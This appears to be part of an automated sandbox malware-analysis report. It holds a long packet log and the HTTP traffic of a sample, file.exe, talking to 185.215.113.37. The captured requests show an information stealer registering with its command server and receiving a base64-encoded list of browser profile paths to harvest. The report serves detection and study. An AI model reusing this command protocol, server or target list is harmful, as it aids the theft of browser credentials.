Oct 24, 2024 15:09:17.137316942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137331009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137339115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137348890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137362003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137373924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137392044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137403965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137413979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137414932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137417078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137429953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137444019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137449026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137460947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137465000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137473106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137484074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137484074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137501001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137512922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137512922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137526035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137530088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137545109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137558937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137568951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137571096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137582064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137588978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137600899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137607098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137613058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137624979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137628078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137638092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137665033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137666941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137675047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137687922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137711048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137746096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137757063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137772083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.137803078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.137824059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.174760103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.180293083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455475092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455497026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455529928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455564976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455559969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455559969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455578089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455599070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455611944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455624104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455641031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455641031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455641031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455641031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455698013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455698013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455714941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455733061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455744028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455765963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455765963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455765963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455789089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455810070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.455939054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455970049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455981016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.455992937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456028938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456029892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456029892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456042051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456056118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456068993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456077099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456089020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456096888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456096888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456100941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456118107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456135988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456218004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456228971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456238985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456250906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456264973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456299067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456337929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456347942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456377983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456403017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456406116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456414938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456425905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456459999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456459999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456516027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456549883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456602097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456655025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456666946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456705093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456727028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456737041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456744909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456748009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456751108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456760883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456778049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456794024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456806898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456823111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456828117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456835032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456851006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456862926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456864119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456887007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456903934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.456948996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456959963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456970930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456989050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.456994057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457001925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457014084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457015038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457026005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457036972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457053900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457057953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457065105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457077026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457078934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457088947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457099915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457107067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457118988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457119942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457129955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457142115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457154036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457166910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457168102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457189083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457191944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457205057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457216024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457227945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457237959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457238913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457237959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457237959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457264900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457287073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457328081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457340002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457350969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457361937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457372904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457372904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457384109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.457418919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457418919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.457457066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.468349934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.468373060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.468400002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.468422890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.468430996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.468442917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.468446970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.468456030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.468467951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.468486071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.468517065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.943273067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.943274021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:17.949455023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:17.949471951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:18.750607014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:18.750696898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:18.791718960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:18.797380924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:19.075779915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:19.075814962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:19.075824976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:19.075867891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:19.075901031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:19.078458071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:19.084530115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:19.362668037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:19.362741947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:19.378750086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:19.384344101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:20.162754059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:20.162842989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:20.194094896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:20.202979088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:20.485423088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:20.485443115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:20.485461950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:20.485524893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:20.485547066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:20.485563040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:20.485575914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:20.485591888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:20.485601902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:20.485646009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:20.487828970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:20.494935989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:21.270037889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:21.273169041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:26.319941044 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	4752	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:09:05.004654884 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 15:09:05.905399084 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 15:09:05.908946037 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 39 41 38 38 46 31 45 30 30 41 31 36 33 33 30 34 37 39 38 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="hwid"A49A88F1E00A1633047986------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="build"doma------BGIDBKKKKKFBGDGDHIDB--
Oct 24, 2024 15:09:06.208228111 CEST	407	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 63 78 4d 57 51 32 59 57 55 7a 4d 7a 46 6b 59 6a 42 68 4e 44 51 77 4d 6d 56 68 4d 44 63 34 4e 7a 63 77 59 6a 59 33 5a 47 59 31 5a 44 46 6d 4d 44 6b 30 5a 6d 51 32 59 54 5a 6d 4d 6a 55 35 4e 54 6c 6c 5a 57 4a 6b 4d 6d 51 77 4e 57 59 78 4e 32 52 69 4d 7a 6b 31 4d 44 59 7a 4e 44 4e 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzcxMWQ2YWUzMzFkYjBhNDQwMmVhMDc4NzcwYjY3ZGY1ZDFmMDk0ZmQ2YTZmMjU5NTllZWJkMmQwNWYxN2RiMzk1MDYzNDNkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 24, 2024 15:09:06.210371971 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 37 31 31 64 36 61 65 33 33 31 64 62 30 61 34 34 30 32 65 61 30 37 38 37 37 30 62 36 37 64 66 35 64 31 66 30 39 34 66 64 36 61 36 66 32 35 39 35 39 65 65 62 64 32 64 30 35 66 31 37 64 62 33 39 35 30 36 33 34 33 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="token"3711d6ae331db0a4402ea078770b67df5d1f094fd6a6f25959eebd2d05f17db39506343d------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="message"browsers------BFHJECAAAFHIJKFIJEGC--
Oct 24, 2024 15:09:06.501329899 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 13:09:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
